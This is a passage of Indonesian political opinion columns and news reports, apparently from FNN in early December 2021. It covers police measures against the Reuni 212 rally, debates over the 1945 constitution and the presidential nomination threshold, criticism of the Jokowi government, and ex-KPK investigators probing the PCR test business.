meneteskan air mata, saat alunan ayat suci Alqur’an yang dibawakan sang imam. Jumlah tidak seberapa penting. Akan tetapi, yang paling penting adalah getaran dari aksi damai tersebut yang memaksa Presiden Joko Widodo harus hadir di tengah umat. Kenapa memaksa? Karena dalam aksi sebelumnya 4-11-2016, Jokowi memilih kabur ke Bandar Udara Sukarno-Hatta. Aksi yang dikenal dengan 411 itu juga ternoda oleh ulah provokator, sehingga terjadi kericuhan antara massa dengan polisi. 212 tahun 2016 adalah awal sejarah baru perjuangan umat. Aksi super damai itu, benar-benar damai. Begitu selesai acara, sampah di sekitar Monas pun bersih disapu dan dikumpulkan oleh jamaah sendiri yang membawa kantong plastik dari rumah masing-masing. Ranting pohon pun tidak ada yang patah. Jangankan ranting pohon, rumput yang tumbuh di sekitar Monas pun tidak ada yang rusak akibat diinjak. Harap maklum. Begitu ada orang yang mau menginjak rumput, jemaah pun menegur dan memperingatkannya. Jika membandel, jemaah yang melihatnya pun menyorakinya, dan bahkan ada yang menarik tangan, supaya orang tersebut tidak menginjak rumput hijau yang indah dipandang mata itu. Aksi damai, super damai! Itu bukan isapan jempol. Reuni Akbar 212 yang digelar tahun 2017 pun juga super damai. Padahal, jumlahnya jauh lebih banyak. Diperkirakan mencapai 13 juta orang. Walau dari pihak kepolisian memperekirakan hanya lima juta orang. Upaya menggembosi acara pun terus dilakukan aparat kepolisian. Di setiap wilayah, ada penyekatan. Bahkan, ada ancaman terhadap pemilik armada bus yang mengangkut peserta aksi. Jika membandel, trayeknya akan dicabut. Oleh karena itu, tidak sedikit juga calon peserta yang “dipaksa” putar balik. Akan tetapi, tidak sedikit juga yang melakukan perlawanan. Tuduhan negatif pun dialamatkan kepada peserta. Mereka dibayar dan sebagainya. Siapa yang mampu membayar umat sebanyak itu? Apalagi, sebagian juga datang dengan menggunakan pesawat terbang. Bahkan, peserta dari Sumatera Barat mencarter burung besi itu, hanya karena ingin mengenang peristiwa tersebut. Siapa peserta yang mau dibayar? Mereka merogoh isi kantong sendiri. Kaum ibu atau emak-emak, misalnya, mengumpulkan uang buat donasi (baik disumbangkan dalam bentuk uang tunai) maupun membeli makanan dan minuman yang siap dibagikan kepada peserta aksi. Karena melimpahnya makanan dan minuman, maka jangan heran banyak yang “kekenyangan”. Siapa yang membayar itu semua? Dan siapa yang mau dibayar? Yang turun, mulai dari Direktur Utama Perusahaan, Direktur Rumah Sakit, manajer perusahaan dan karyawan. Pedagang pun meninggalkan usahanya karena ingin ikut aksi. Tidak sedikit pengusaha ikut aksi demo. Mau tahu buktinya? Itu loh, jas hujan yang dipakaikan secara simbolis kepada peserta aksi dari Ciamis yang datang berjalan kaki dan kehujanan. Emang jumlah jas hujan itu Cuma 100 pasang? Oh, tidak! Jika dirupiahkan, nilainya sekitar Rp 50 juta. Itu sumbangan dari seorang pengusaha China mualaf. Berbagai usaha menggembosi aksi 212 terus dilakukan. Aksi reuni 212 tahun 2021 ini tidak ketinggalan. Izin yang diajukan panitia untuk melaksanakan aksi di Monas, ditolak dengan alasan belum dibuka karena masih Covid-2021. Masuk akal. Izin mengadakan kegiatan di Patung Kuda, ditolak polisi. Alasannya, sama masih suasana pandemi. Padahal, sudah berapa banyak yang melakukan aksi di tempat tersebut? Belum lama, buruh melakukan aksi juga. Panitia tidak kehabisan akal. Mereka merencanakannya di Masjid Al-Zikra, Sentul, Bogor, Jawa Barat. Akan tetapi, menjelang hari H, datang surat dari pengurus masjid, yang menolak kegiatan aksi dilakukan di tempat tersebut. Dugaan kuat, aparat keamanan menekan pihak keluarga supaya mengeluarkan surat penolakan. Andaikan, Arifin Ilham masih hidup, dia pasti menerimanya, karena ia aktif dalam kegiatan 212. Tidak hanya mengerahkan jemaahnya, tetapi juga memberikan dukungan materil, berupa makanan dan minuman. Walau sudah ditekan habis-habisan, panitia acara terus berupaya melaksanakan kegiatan. Sekuat tenaga mereka lakukan. Akhirnya upaya mereka gagal. Kawasan Patung Kuda, Jakarta Pusat pun ditutup secara total mulai semalam pukul 24.00 sampai Kamis, 2 Desember 2021, pukul 21.00. Tetapi, penutupan tersebut tidak akan menyurutkan umat yang ingin melakukan aksi. Tidak hanya menutup, 4.218 personil gabungan Tentara Nasional Indonesia (TNI), Polisi Republik Indonesia (Polri) dan aparatur Pemerintah Provinsi DKI Jakarta bersiaga guna mencegah aksi Reuni 212 di wilayah hukum Kepolisian Daerah (Polda) Metro Jaya. Ancaman pun dikeluarkan polisi. Kepala Biro Operasi Polda Metro Jaya Komisaris Besar (Kombes) Marsudianto mengatakan, pengamanan tersebut merupakan bentuk operasi kemanusiaan demi menyelamatkan warga dari penyebaran Covid-19. Kegiatan Reuni 212 bukan bertujuan menyampaikan pendapat di muka umum, layaknya aksi unjuk rasa. “Ini adalah kegiatan keramaian,” ujar Marsudianto. Ia pun mengeluarkan jurus ancaman. Kegiatan Reuni 212 termasuk unsur tindak pidana Pasal 510 KUHP ayat 1, yakni mengadakan pesta umum dan keramaian umum. (1) Bila pawai itu diadakan untuk menyatakan keinginan-keinginan secara menakjubkan, maka yang bersalah diancam dengan pidana kurungan paling lama dua minggu atau pidana denda dua ribu dua ratus lima puluh rupiah. Akan tetapi, umat tidak setakut Jokowi terhadap angka 212. Umat tidak gentar dengan ancaman yang dikeluarkan Marsudianto itu. Umat, hari ini tetap keluar dan melakukan aksi masing-masing. Nah, kalau sudah begitu, apakah polisi mau menangkap seluruh umat yang turun ke jalan? Ayo, silahkan biar penjara penuh lagi selama dua pekan? Atau denda? Ya tidak apa-apa. Uang dikumpulkan saja. Lumayan buat mencicil utang Jokowi. Rakyat sudah bosan menunggu uang Rp 11.000 triliun di kantongnya yang sampai sekarang masih ghaib. Apalagi harga racun kalajengking, yang kata Jokowi, mahal. Tetapi, tidak ada ajakan cara beternaknya. Ghaib lagi!

UUD 45 Tak Dilaksanakan Usai Didekrit

Oleh Ridwan Saidi *) Soeharto diktator adalah diksi gampangan untuk menolak penegakan UUD 45 secara murni dan konsekuen. Kok Soekarno tidak didiktatorkan? Bukankah Soekarno yang mendekrit kembali ke UUD 45, walau Soekarno tidak diambil sumpahnya sebagai Presiden RI di bawah UUD 45. Soekarno disumpah sebagai Presiden RI di bawah UUDS 1950 dan setelah proklamasi. Ketika itu ada UUD 45 tapi belum ditempatkan dalam Berita Negara. Ketika Konstitusi RIS 1949 disahkan, Mr Asaat jadi Acting Presiden RI. Soeharto sebagai Presiden terlalu lama. Karena itu perlu pembatasan masa jabatan Presiden dan ketentuan itu cukup ditempatkan dalam addendum konstitusi, tak perlu batang tubuh UUD 45 yang diacak-acak seperti sekarang yang akibatnya ditolak untuk ditempatkan dalam Lembaran Negara. Ketika Presiden Soekarno membacakan Dekrit 5 Juli 1959 status beliau sebagai Presiden UUDS 1950. Selesai dekrit dibaca, seharusnya Ir Soekarno bukan Presiden lagi. Langkah berikut seharusnya membentuk MPR(S). MPR(S) memilih Presiden dan wakilnya sebagaimana ketentuan UUD 45. Ini tak pernah dilaksanakan. Mengomentari usaha untuk menegakkan UUD 45 secara murni dan kosekuen seharusnya tidak perlu merujuk performance pemerintahan Sukarno dan atau Soeharto. UUD 45 mengalami adem pauze (rehat) begitu usai didekritkan pada 5 Juli 1959. Ini rechtsgeschidenis van de konstitutie. Pemerintahan Soekarno selama tujuh tahun 1959-66 berjalan beyond the konstitution. Pemerintah Soeharto yang dapat dipersoalkan sumber kewenangan yang diperoleh dari seorang Presiden de facto pada 11 Maret 1966. Protokol serah kekuasaan pada tanggal 21 Mei 1998 dari Soeharto ke BJ Habibie apa seperti itu. Soeharto sendiri dikabarkan. Menghendaki pemilu dipercepat pada tahun 1998 juga. Tapi pers Eropa memberitakan adanya telefon Menlu USA pada pukul 23.00 WIB tanggal 20 Mei 1998 menelefon Presiden Soeharto yang menurut surat-surat kabar Eropa sebagai coup de grace, pukulan yang mematikan. Pemerintahan reformasi berjalan di atas unknown constitution, karena perubahan konstitusi tidak ditempatkan dalam Lembaran Negara. Menegakkan UUD 45 secara murni dan konsekuen sebuah keharusan. Wa ba'duHu. *) Budayawan

Sebanyak 4.218 Personel Gabungan Bersiaga Cegah Reuni 212

Jakarta, FNN - Sebanyak 4.218 personel gabungan dari TNI, Polri dan Pemerintah Provinsi DKI Jakarta bersiaga guna mencegah aksi Reuni 212 di wilayah hukum Kepolisian Daerah (Polda) Metro Jaya. "Sebanyak 4.218 personel gabungan dari TNI, Polri dan Pemda dikerahkan," kata Kepala Sub Bagian Hubungan Masyarakat Humas Polres Metro Jakarta Pusat, Ajun Komisaris Sam Suharto, di Jakarta, Rabu, 1 Desember 2021. Kepala Biro Operasi Polda Metro Jaya Komisaris Besar (Kombes) Marsudianto mengatakan, pengamanan tersebut merupakan bentuk operasi kemanusiaan demi menyelamatkan warga dari penyebaran Covid-19. Menurut dia, kegiatan Reuni 212 bukan bertujuan menyampaikan pendapat di muka umum, layaknya aksi unjuk rasa. "Ini adalah kegiatan keramaian," ujar Marsudianto, sebagaimana dikutip dari Antara. Oleh karena itu, kegiatan Reuni 212 termasuk unsur tindak pidana Pasal 510 KUHP ayat 1, yakni mengadakan keramaian umum dan mengadakan pawai di jalan umum. Dalam mengantisipasi kerumunan, Direktorat Lalu Lintas Polda Metro Jaya juga akan menutup jalan menuju kawasan Bundaran Patung Kuda dan Monas mulai Rabu malam pukul 24.00 WIB. Direktur Lalu Lintas Polda Metro Jaya Kombes Sambodo Purnomo Yogo mengatakan, penutupan jalan berlaku mulai Rabu pukul 24.00 WIB hingga Kamis pukul 21.00 WIB. "Area yang akan ditutup adalah area di seputar Patung Kuda dan Kawasan Monas. Jadi semua area tersebut dinyatakan sebagai kawasan terbatas atau 'restricted area'," tutur Sambodo. Berdasarkan pantauan FNN, ada beberapa ruas jalan yang sudah ditutup sejak Rabu siang kemarin. Misalnya, di pertigaan Jalan Juanda menuju Jalan Veteran (di samping kantor Wakil Presiden) sudah ditutup dengan kawat berduri. Sedangkan akses jalan menuju Monas dari arah Stasiun Gambur sudah ditutup dan mendapatkan penjagaan ketat dari aparat TNI dan polisi. Hanya mobil berplat merah dan TNI/polisi yang bisa masuk. (MD).

Ambang Batas Pencalonan 20 Persen Hasilkan Presiden Boneka

Jakarta, FNN - Bertempat di Rumah Makan Raden Bahari, Jalan Warung Buncit Raya, Mampang, Jakarta Selatan, diadakan silaturrahmi dan ramah tamah bertema, "Rakyat Berdaulat Menolak Presidential Threshold." Turut menjadi pembicara dalam diskusi yang berlangsung Rabu, 1 Desember 2021 itu, antara lain Ketua Kelompok Dewan Perwakilan Daerah (DPD) di MPR (Majelis Permusyawaratan Rakyat), Tamsil Linrung, mantan Menteri Keuangan, Fuat Bawazier, Habib Umar Al Hamid. Sedangkan pengacara Eggi Sudjana menyampaikan paparannya lewat zoom. Pendapat Pakar Hukum Tata Negara, Refly Harun disampaikan lewat pemutaran video. Para pembicara menyampaikan kesepakatan agar presidential threshold (PT) atau batas ambang pencalonan presiden dan wakil presiden menjadi nol persen. Sebab, PT yang berlaku saat ini sangat bertentangan dengan demokrasi dan UUD 1945. Bahkan, hal itulah yang membuat terjadinya perampokan terhadap demokrasi dan demokrasi kriminal. PT yang berlaku 20 persen telah menyebabkan presiden boneka. Menurut Tamsil Linrung, pihaknya sangat serius dalam usaha memperjuangkan agar PT itu menjadi nol persen. DPD akan menjadi pelopor. Bahkan, pihaknya mendorong masyarakat supaya berbondong-bondong melakukan yudicial review atau uji materi ke Mahkamah Konstitusi (MK) agar PT menjadi nol persen. “DPD akan menyiapkan bus angkutan terhadap rombongan yang akan mengantarkan mereka yang mengajukan uji materi itu ke MK. Jadi, ayo ramai-ramai mengakukan judicial review,” ujar Tamsil. Senator asal pemilihan Sulawesi Selatan itu mengatakan, jika PT masih tetap dipertahankan 20 persen, maka presiden yang terpilih sekarang dan seterusnya adalah orang yang menjalankan tugas berdasarkan janji-janji politik. “Karena menjalankan tugas berdasarkan janji politik, dikhawatirkan ke depan akan ada presiden yang hanya karena bermimpi, tiba-tiba memindahkan ibu kota negara. Tiba-tiba menambah utang negara tanpa konsultasi dengan legislatif,” ucapnya. Upaya menghapus PT menjadi nol persen harus mendapatkan perhatian serius dari semua pihak. “Di negara mana pun di dunia, tidak ada yang namanya batas ambang pencalonan presiden. Yang ada adalah batas ambang pemilihan,” ujar Tamsil. Pakar hukum tata negara Refly Harun mengatakan, PT menjadikan demokrasi kriminal dalam konsetasi pemilihan presiden (pilpres). Oleh karena itu, ia mengajak seluruh lapisan masyarakat agar menyelamatkan Indonesia dengan menolak presidential threshold atau menjadikannya nol. Menurut Refly, PT hanya menjadikan demokrasi menggunakan kekuatan finansial. Oleh karena itu, ia mengajak seluruh lapisan masyarakat supaya melakukan gerakan menolak PT. “Jadikan presidential threshold nol persen atau tidak ada presidential threshold. Karena hal itu hanya menjadikan demokrasi kriminal, demokrasi jual-beli perahu, demokrasi yang menggunakan kekuatan finansial guna memenangkan kompetisi pemilihan presiden dan wakil presiden," ucapnya. (Muhammad Anwar Ibrahim D./FNN).

Minta Maaf Yang Bukan Minta Maaf

By M Rizal Fadillah Lucu media ini aneh-aneh saja, untuk membuat rasa penasaran membelokkan makna dari fakta. Judul "Mengapa Amin Rais minta maaf kepada Jokowi" tentu tendensius. Padahal itu cuplikan ungkapan atas kekesalan atau kritik Ketua Majelis Syuro Partai Ummat atas jalannya Pemerintahan Jokowi yang perlu mencegah munculnya "people power". "Mohon maaf, ya, pak Jokowi rezim anda lebih parah" Nah inilah konten mohon maaf tersebut. Kalimat halus khas Amin Rais yang menohok telak. Melengkapi kritik tajam atas berbagai perundang-undangan yang dibuat rezim Jokowi di bidang pendidikan, kesehatan, sumber daya alam, kelistrikan, perbankan dan pertambangan. "Mohon maaf" Itu frasa sindiran "merangkul memukul". Dalam tinju itu bukan "clinch" yang merangkul untuk menjaga jarak sebagai wujud melemah, melainkan "rope a dope" bersandar di tambang sambil memukul. Mohammad Ali terkenal dengan strategi "rope a dope". Kalimat ''Mohon maaf" itu bersandar di tambang sementara "rezim anda lebih parah" artinya memukul. Amin Rais dan Jokowi keduanya orang Solo yang "head to head" saling memahami karakter, hanya saja mungkin karena Amien Rais alumni Notre Dame University dan Chicago University tentu lebih berkultur blak-blakan ketimbang Jokowi yang lebih berkelok-kelok. Orang menyebut banyak hoaks. Dahulu Amien Rais juga dikenal sebagai figur terdepan untuk mendesak Presiden Soeharto lengser. "Tetangga dekat" kelahiran Kemusuk Sleman, Soeharto pada tahun 1998 seperti berhadapan dengan Amien Rais. Berujung pada peristiwa Reformasi. Habibie, Gusdur, dan Megawati kemudian menjadi Presiden saat Amien Rais menjadi Ketua MPR. Orde Baru di bawah Soeharto tentu memiliki problema yang parah. Politik yang cenderung otoriter dan militeristik dan kondisi ekonomi yang awal bagus kemudian merosot sehingga untuk mengatasi krisis ekonomi terpaksa berhutang besar kepada IMF. Korupsi, Kolusi, dan Nepotisme (KKN) merajalela. Amien Rais yang menyeru agar Soeharto menyudahi kekuasaannya. Kini Amien Rais tetap menunjukkan jiwa dan sikap konsisten untuk ber "nahi munkar" mengingatkan Pemerintahan Jokowi yang dinilai telah keluar rel. Lebih berbahaya dan destruktif bagi bangsa di banding Presiden pendahulunya. "Mohon maaf, ya, pak Jokowi rezim anda lebih parah". *) Pemerhati Politik dan Kebangsaan

Penyidik yang Tak Pupus

Oleh Ady Amar *) Gak ada mati-matinya, adalah sebuah ungkapan yang biasa disandarkan pada seseorang yang tetap kokoh, meski badai menerjang terus menerus serasa ingin melumatnya. Ia tetap tegar dan eksis. Julukan di atas itu julukan penuh takjub. Julukan gak ada mati-matinya, bisa disematkan pada siapa pun dan pada aktivitas apa pun. Julukan penuh kebanggaan pada yang bersangkutan, itu karena mental yang tak terkikis oleh tempaan jalan takdir tidak mengenakkan, bahkan penuh kezaliman. Tempaan baginya justru menguatkan mentalnya untuk tetap eksis di tengah hiruk pikuk persoalan yang muncul terus menerus tidak mengenakkan. Terus hadir sebisa ia hadir menyumbangkan apa yang dipunyainya. Di negeri ini masih banyak pribadi yang tak pupus ditelan situasi tidak mengenakkan. Pribadi yang tidak cuma hadir pada institusi formal dengan fasilitas memadai. Baik saat berada dalam institusi resmi di mana profesionalitas dihargai sesuai kepakarannya, maupun berada di luar institusi, ia tetap memberi sumbangsih meski tanpa embel-embel materi yang didapat. Merekalah manusia istimewa dengan darma bakti tanpa batas. Novel Baswedan dan kawan-kawannya sesama penyidik senior, yang terdepak dari KPK, bisa disebut sebagai manusia istimewa. Meski terzalimi oleh apa yang dinamakan Tes Wawasan Kebangsaan (TWK), meski ia sudah mengabdi belasan tahun, ia tak lantas pupus. Termasuk Novel, ada 57 orang lainnya, yang dinyatakan tidak lulus dalam TWK itu. Bahkan Novel dan beberapa kawan lainnya, sudah mengabdi sejak awal komisi anti rasuah itu terbentuk. Dan yang lainnya pun mengabdi dalam hitungan waktu cukup lama. Spekulasi yang berkembang, bahwa mereka memang disingkirkan. Dan itu karena mereka terlalu keras tanpa kompromi dalam misi pemberantasan korupsi. Kehadirannya seolah mengganggu pihak-pihak yang kontra pada pemberantasan korupsi. Aneh, kan? Namun demikian, mereka yang terusir itu tetap penuh semangat dalam pemberantasan korupsi. Mereka tak pupus, terus berikhtiar semampu yang bisa dilakukan. Maka, perlawanan dari balik gedung KPK itu sudah dimulai. Novel dan kawan-kawannya mulai dengan penyidikan atas gonjang-ganjing, bahwa ada dua menteri di balik bisnis PCR. Auditor Rakyat Naluri para penyidik senior yang terdepak itu bekerja seperti biasanya. Tidak ada yang memerintah, kecuali tanggung jawab moral yang masih dimiliki. Meski tanpa bayaran serupiah pun tidak menghalangi gerak langkah mereka tetap konsen, bahwa korupsi itu harus diberantas. Maka, secara diam-diam Novel dan beberapa kawannya mendatangi pihak-pihak yang tahu soal bisnis PCR itu. Menggali informasi dari mereka, dan menemukan temuan awal, bahwa ada unsur kolusi, korupsi dan nepotisme (KKN) yang menyeret nama Menko Bidang Kemaritiman dan Investasi Luhut Binsar Panjaitan (LBP), dan Menteri BUMN Erick Thohir. Mestinya gonjang-ganjing isu bisnis PCR itu disambar KPK, institusi yang difasilitasi dengan perangkat yang semestinya, itu bisa cepat bergerak. Mengungkap kemungkinan adanya unsur dugaan KKN, yang menyeret dua menteri. Tapi justru aneh hal itu belum disentuhnya, entah apa dianggap kurang menarik. KPK justru mentelengi isu terjadinya korupsi pada rencana pelaksanaan ajang Formula E, yang itu tampak dipaksakan dan mengada-ada. Bagi KPK "menggarap" Formula E, memang tidak punya risiko politis, karena yang disasar adalah Anies Baswedan. Secara politis memang Anies tidak sekuat LBP apalagi plus Erick Thohir. Jadi, KPK memilih yang ringan-ringan saja dan punya nilai plus jika ditemukan penyimpangan, yang meski secara hukum tidak mungkin bisa menyeret Anies Baswedan. Tapi setidaknya punya nilai tersendiri, meski hanya tepuk sorak kegembiraan semu dari mereka yang memang berharap Anies terperosok. Secara kebetulan, Novel dan kawan-kawan eks penyidik KPK, dipertemukan dengan kemunculan Kaukus Masyarakat Sipil untuk Demokrasi dan Keadilan, hadir membantu untuk melakukan audit bisnis tes PCR. Maka sinergi dimungkinkan. Dimana Novel dengan ketua Kaukus Fery Julianto, dan pakar hukum tata negara Refly Harun, serta beberapa orang lainnya sepakat membentuk "auditor rakyat". Pembentukan auditor rakyat itu guna menjawab tantangan yang disampaikan LBP untuk diaudit, terkait dugaaan penyalagunaan bisnis PCR. Kita lihat saja apakah LBP, dan tentu Erick Thohir, berani mewujudkan tantangannya, atau sekadar gertak sambal saja. Jika tidak merasa bagian dari mereka yang membisniskan PCR, mengapa mesti takut untuk diaudit. Justru itu kesempatan untuk menunjukkan, bahwa pak menteri bukan bagian dari mereka yang dikesankan serakah di atas penderitaan rakyat. Dan, kita rakyat merdeka, akan dengan seksama melihat tim auditor rakyat itu bekerja, guna membuka seterang benderang apakah dua menteri itu ada di balik bisnis PCR atau tidak. Jika terlibat, maka bisa dipastikan itulah muslihat yang sebenarnya guna memperkaya diri sendiri. Di saat rakyat di masa pandemi tengah dalam kondisi kesulitan hidup. (*) *) Kolumnis

Memiliki dan Merawat 212 Sebagai Ghiroh Islam

Oleh Yusuf Blegur *) Pada kenyataannya, umat Islam boleh menjalani kehidupan keagamaannya secara ritual. Melaksanakan semua kegiatan yang terkait peribadatan. Namun tidak untuk kegiatan politik. Islam di dunia dan di Indonesia sendiri, didesain sebagai agama kebudayaan yang dibatasi pada urusan shalat, puasa, zakat dan haji. Menjadi terlarang dan mewujud sebuah ancaman, jika umat Islam bisa mengambil posisi dan peran sosial politik, sosial ekonomi, sosial pendidikan dll. Harus diakui, sebagai mainstream pergerakan kemerdekaan dan upaya-upaya yang melahirkan Indonesia. Umat Islam tidak pernah merasakan kepemimpinan yang hakiki baik secara struktural maupun kultural. Sepanjang berdirinya republik, dengan posisi sebagai mayoritas sekalipun. Umat Islam hanya ditempatkan sebagai obyek, pelengkap dan pemanis belaka. Dalam ranah konstitusi dan pelbagai kehidupan sosial. Umat Islam lebih tepatnya menjadi pasar potensial dan korban eksploitasi. Sebagai pengusung utama keberadaan NKRI, umat Islam termarginalkan dalam urusan pengelolaan negara. Terlebih ketika semua kekuasaan di Indonesia menggunakan konsep politik yang memisah relasi negara dengan agama. Konsekuensinya, negara yang berlandaskan Panca Sila dan UUD 1945 harus menerima kenyataan pahit berada dalam pengaruh kekuasaan Kapitalisme dan komunisme global. Umat Islam suka atau tidak suka menjalani kehidupan bernegara dan berbangsa, dengan prinsip-prinsip sekulerisasi dan liberalisasi dinegerinya yang dilahirkan sendiri, tumbuh kembang dan dirawat meskipun dengan spiritualitas keagamaan yang kental. Dengan sejarah dan pengalaman distorsi keagamaan. Umat Islam di Indonesia yang tergusur dari peran kepemimpinan, pemerintahan dan tata kelola negara. Disadari atau tidak, umat Islam telah mengalami deislamisasi dengan modus moderasi. Gencarnya sekulerisasi dan liberalisasi Islam semakin kentara seiring munculnya eksistensi politik umat Islam. Meskipun dihujani stigma stereotif seperti gerakan intoleran, radikal dan fundamental. Bahkan dicap agama teroris. Kekuatan umat Islam yang mulai tercerahkan, semakin menunjukan peran dan pengaruhnya. Betapapun framing jahat mengepung, politik identitas kekuatan umat Islam terus berproses memasuki ranah dan sistem negara. Tentu saja menimbulkan sikap reaktif, respon cepat dan siasat kriminal. Umat Islam harus berhadapan dengan rezim represif dan otorier. Kekuasaan yang ditopang oleh oligarki dan borjuasi korporasi. Kekuatan yang bersumber dari kapitalisme dan komunisme internaional yang sejatinya memusuhi dan anti Islam. Substansi Melawan Moderasi 212 tidak saja sekedar forum silaturahim dan ajang ukuwah Islamiyah. Melainkan lebih dari itu, 212 merupakan peran politik Islam yang sudah sekian lama menghilang. Gerakan umat yang dipelopori para Ulama dan Habaib itu menjelma menjadi kekuatan kultural sekaligus strukural. Secara kulltural mampu memengaruhi kebijakan negara. Secara struktural mengancam melengserkan rezim kekuasaan. 212 Seperti menjadi cermin sekaligus representasi kekuatan umat Islam yang selama ini mengalami mati suri. 212 adalah kemurnian dan antitesis terhadap kegagalan kepemimpinan formal dan rusaknya sistem negara yang menyebabkan kemudharatan hampir di seluruh sendi kehidupan rakyat. 212 menjadi semacam "renesaince" dari upaya meraih cita-cita proklamasi kemerdekaan RI yang terlanjur salah jalan dan hilang ditelan bumi. 212 bukan sekedar politik identitas, ia juga menjadi realitas identitas dari NKRI yang identik dengan Islam. Dengan tidak bermaksud mengabaikan keberadaan dan eksistensi umat yang lain. Umat Islam telah membuktikan dapat hidup damai dan rukun berdampingan dengan politik identitas lainnya. Meski hidup dengan kebhinnekaan dan kemajemukan dalam negara bangsa. Namun tak terbantahkan bahwasanya Islam menjadi roh sekaligus badannya dari kenyataan Indonesia. Hal yang demikian itu, membuat rezim kekuasaan, menempatkan 212 sebagai entitas politik yang berbahaya dan harus segera dieliminasi. Pelbagai cara dan usaha terus dilakukan pemerintah untuk menghambat atau menggagalkan agenda 212 termasuk acara reuni tgl 2 Desember 2021. Intervensi dari luar dan dalam 212 terus dilakukan rezim sebagai upaya penolakan gerakan 212. Selain tidak memberikan perijinan, melakukan agiprop acara 212, tidak sedikit pemimpin dan ulama dalam 212 yang membelot ke pemerintah. Bukan hal mengejutkan. Lontaran itu sudah banyak terungkap. salah satunya dari Habib Bahar Bin Smith, yang dianggap dekat dan setia kepada Imam Besar Habib Rizieq Syihab pemimpin 212 yang lebih dulu dizdolimi rezim. Kini semua bergantung pada umat Islam sendiri. Maukah menjadikan 212 sebagai saluran politik ideal dari kebuntuan partai politik dan konstitusi yang ada. Setelah terjadinya simpang siur dan adanya upaya penggembosan terhadap rencana kegiatan reuni 212. Bisakah umat Islam membanjiri Patung Kuda Jakarta saat 2 Desember 2021, yang mengulang 2 Desember 2016?. Akankah kali ini menjadi momentum yang luar biasa bagi umat Islam dan Indonesia?. Mungkinkah umat Islam merasa memiliki dan merawat 212?. Setidaknya sebagai manifestasi ghiroh Islam jika belum disebut jihadnya kaum muslimin dan muslimat itu. Wallahu a'lam bishawab. Penulis, Pegiat Sosial dan Aktifis Yayasan Human Luhur Berdikari.

Klappertaart dan Elit Politik

Oleh Ridwan Saidi Jenis taart ini kuliner yang simbolkan pertemuan timur dan barat. Timur pada kelapa dan Barat pada taart. Belanda bilang taartjes. Kue ini masih dijual antara lain di kantin sebuah rumah sakit di Kuningan, Jakarta, Bogor, Manado. Taartjes diaur serutan kelapa muda. Barat dan timur bertemu di kuliner. Bangsa yang Timur tidak Barat bukan itu Israel. Ayun-ayun in de hoge klapper boom, itu lagu Belanda, penyanyi Anneke Gronloh, ayun-ayunan di ketinggian pohon kelapa. Terusannya, Masmira jangan maen gila. Masmira lambang subjek wanita yang hilang kontrol diri. Penyanyi Wieteke van Dort, kelahiran Surabaya tahun 1943 dan wafat beberapa tahun lalu, terkenal dengan lagu-lagunya antara lain Geef mij maar nasi goreng. Nasi goreng, sampai setidaknya tahun 1923 disebut goreng nasi, adalah kuliner Indonesia. Dalam lyric Wieteke sebut sambal terasi. Orang Belanda yang terkenal resik tak disangka suka terasi . Sering proses akulturasi memilih instrumen yang unik. Belanda dan orang Eropa menularkan urban culture pada sebagian penduduk. Cirinya antara lain berpakaian netjes, rapi, walau bahan sederhana. Houding, tampilan enak dilihat, kaga norak. Tutur kata sopan. Tapi anehnya orang Barat mentoleransi kentut, tetapi tidak pada sendawa. Pada pertemuan Glasgow diwartakan seorang kepala Negara Barat sempat melepas kentutnya. Tapj bukan karena ini Jin Ping tak ke Glasgow. Sampai dengan tahun 1950-an masih banyak yang kutip kata-kata East is East, West is West, and never the twin shall meet. Michael Jockson justru mempopulerkan We are the world. Apa yang patut dicontoh dari peradaban Barat adalah semangat menguasai ilmu. Kita sangat tertinggal dalam masalah ini terutama kaum elitnya. Seorang pimpinan lembaga tinggi negara memberi respons yang aneh ketika ada berita KPK mau mengusut pemakaian keuangan Formula E, kata dia jangan dicampur urusan pidana dengan olahraga. Saya tidak mengerti apa kaitan ucapan petinggi itu dengan berita KPK mengusut pemakaian keuangan daerah untuk Formula E. Pada kesempatan lain rekan si petinggi, yang petinggi juga, berkata bahwa Formula E akan angkat Jakarta menjadi seperti New York . New York New York, judul lagu hit Shirley Bassey. Lain kali moga-moga ada yang ciptakan lagu gambamg kromomg Jakarta Jakarta. Zuur zoek zuur, jenis mencari jenis, kata pepatah Belanda. Akhirnya kita tak lagi bicara dari satu elit ke elit lain. Ini genre elit reformasi. Dari sononya uda begini. Kata orang Belanda, van huis uit. Tidak mudah membangun Indonesia kembali. Turki setelah PD I diejek sebagai sick man from Bosforus. Masalah diperparah dengan sekularisme Kemal Attaturk. Tapi faktanya sekarang Turki maju. Mereka menahan diri untuk tidak besar mulut. Mereka tak mau dibilang katak hendak jadi lembu. Penyakit besar mulut timbul dari pemihan langsung di sebuah negara yang ekonominya tak maju-maju. Kesalahan dalam recruitment system pun terjadi. Proses kehancuran rejim berawal dari sini. Waarom huil je toch nona manis Aku selalu rindu padamu. *) Budayawan

Perludem Berharap Penyelenggara Pemilu yang Kuat, Otonom, dan Kompeten

Semarang, FNN - Anggota Dewan Pembina Perludem Titi Anggraini berharap hasil seleksi bakal calon anggota KPU dan bakal calon anggota Bawaslu masa jabatan 2022—2027 menghasilkan sosok penyelenggara pemilu yang kuat, otonom, kompeten, inovatif, inklusif, dan berwawasan global. "Kuat dalam penguasaan substansi kepemiluan maupun kuat secara fisik dan psikologis," kata Titi Anggraini melalui percakapan WhatsApp kepada ANTARA di Semarang, Rabu. Hal itu, lanjut Titi, menyangkut kemampuan, keberanian, dan keteguhan menjaga martabat, kemandirian, dan muruah KPU/Bawaslu yang profesional, imparsial, dan modern. Pegiat pemilu ini mengatakan hal itu terkait dengan seleksi bakal calon anggota Komisi Pemilihan Umum (KPU) dan bakal calon anggota Badan Pengawas Pemilihan Umum (Bawaslu) RI yang akan melaksanakan tugas pada pemilu dan pilkada serentak pada tahun 2024. Sejauh ini, Pemilu dan Pilkada 2024 akan dilaksanakan tanpa perubahan UU Pemilu. Pemilu lima kotak akan terselenggara kembali seperti halnya Pemilu 2019. Selain itu, juga pilkada akan berjalan tanpa perubahan UU Pilkada. Di lain pihak, kata Titi, kompleksitas teknis Pemilu 2019 dan problematika yang dihadapi potensial berulang pada Pemilu 2024. Bahkan, tumpukan beban kerja penyelenggaraan pemilu dan pemilihan bisa memengaruhi profesionalitas dan integritas penyelenggara pemilu. Artinya, juga bisa berdampak pada kinerja dan kondisi kesehatan demokrasi Indonesia. Terobosan dan inovasi kepemiluan sepenuhnya mengandalkan inovasi KPU dan pengaturan dalam peraturan KPU/Bawaslu untuk penguatan kapasitas personel, penggunaan teknologi, penyesuaian teknis, dan lain-lain. Padahal, kata dia, peraturan KPU/Bawaslu banyak keterbatasan daya jangkau. Oleh karena itu, Titi 